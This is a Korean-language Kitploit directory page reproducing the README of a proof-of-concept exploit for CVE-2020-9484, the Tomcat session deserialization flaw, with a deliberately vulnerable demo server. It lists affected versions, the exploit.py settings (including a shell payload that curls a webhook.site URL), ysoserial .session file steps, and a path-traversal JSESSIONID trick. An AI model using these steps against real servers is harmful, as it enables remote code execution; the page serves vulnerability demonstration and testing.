Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PoC_CVE-2020-9484 — CVE-2020-9484용 PoC 익스플로잇 및 이를 시연하기 위한 취약한 웹 애플리케이션 | Kitploit
도구/GitHubGitHub/savsch/poc_cve-2020-9484
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

CVE-2020-9484용 PoC 익스플로잇 및 이를 시연하기 위한 취약한 웹 애플리케이션

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이 저장소에는 CVE-2020-9484에 대한 개념 증명 익스플로잇과, 이 취약점에 노출된 예제 웹 서버가 포함되어 있습니다.


이 취약점이 악용 가능하기 위한 전제 조건

영향을 받는 Tomcat 버전은 다음과 같습니다:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. PersistentManager가 활성화되어 있고 FileStore를 사용하고 있습니다.
  2. 공격자는 임의의 내용을 가진 파일을 업로드할 수 있고, 파일 이름 확장자(특히 .session 파일)를 제어할 수 있으며, 업로드된 위치를 알고 있어야 합니다.
  3. Java 역직렬화 공격에 사용할 수 있는 가젯(gadget)이 클래스패스에 존재해야 합니다 (예: clojure 또는 commons-collections).

취약한 예제 서비스

예제 서비스는 /index.jsp(또는 /)와 /list.jsp 두 페이지로 구성된 웹 서버입니다. 이 서버는 사용자가 (현재 세션에 특화된) 파일을 업로드하고 다운로드할 수 있게 해주며, 사실상 파일 저장소 역할을 합니다.

  • /upload에 대한 POST 요청을 지원하여 파일 업로드를 지원하며, 사용자가 파일 이름을 선택할 수 있게 합니다. 따라서 .session 확장자를 가진 파일을 업로드하는 것이 가능합니다. 또한 서버가 파일을 /var/tmp/uploads 디렉토리에 저장한다는 것도 알려져 있습니다.
  • FileStore를 사용하는 PersistentManager가 활성화되어 있습니다. (context.xml 참조)
  • 클래스패스에 clojure:1.8.0이 있어 역직렬화 공격을 용이하게 합니다. (pom.xml 참조)

익스플로잇

취약한 예제 서비스를 설정하려면:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

이제 서비스는 http://localhost:8085/POC_CVE-2020-9484/에서 실행 중이어야 합니다.

이제 exploit.py 시작 부분의 구성 변수를 수정하세요. PAYLOAD(여기서는 셸 스크립트)는 서버가 실행할 수 있는 모든 파일이 될 수 있습니다.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

이제 exploit.py를 실행하세요. 다음 작업을 수행합니다:

  1. yoserial을 다운로드합니다.
  2. yoserial을 사용하여 악성 직렬화 객체를 .session 파일로 생성합니다. 이 객체들은 결국 서버에서 역직렬화됩니다:
    • chmodPayload.session: 서버에 업로드된 PAYLOAD 파일에 실행 권한을 부여합니다.
    • executePayload.session: 서버에서 PAYLOAD 파일을 실행합니다.
  3. PAYLOAD를 파일로 서버에 업로드합니다.
  4. 위에서 생성된 .session 파일을 서버에 업로드합니다.
  5. 이전에 업로드된 .sesssion 파일의 서버 세션 저장소 기준 경로를 JSESSIONID 쿠키 값으로 사용하여 서버에 요청을 트리거합니다. 이로써 서버에서 해당 파일의 역직렬화가 발생하고 이후 페이로드가 실행됩니다.

각주

  • 많은 서버는 사용자가 업로드한 파일을 /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename 형태의 경로에 저장합니다. 이러한 경우, 파일 업로드 POST 요청에 exploit.py에서 사용된 임의의 값(예: "1337"*8) 대신 ../../../../tmp 형태의 JSESSIONID를 사용하면 업로드된 파일이 서버에 저장된 위치를 파악하는 데 도움이 될 수 있습니다.
도구 다운로드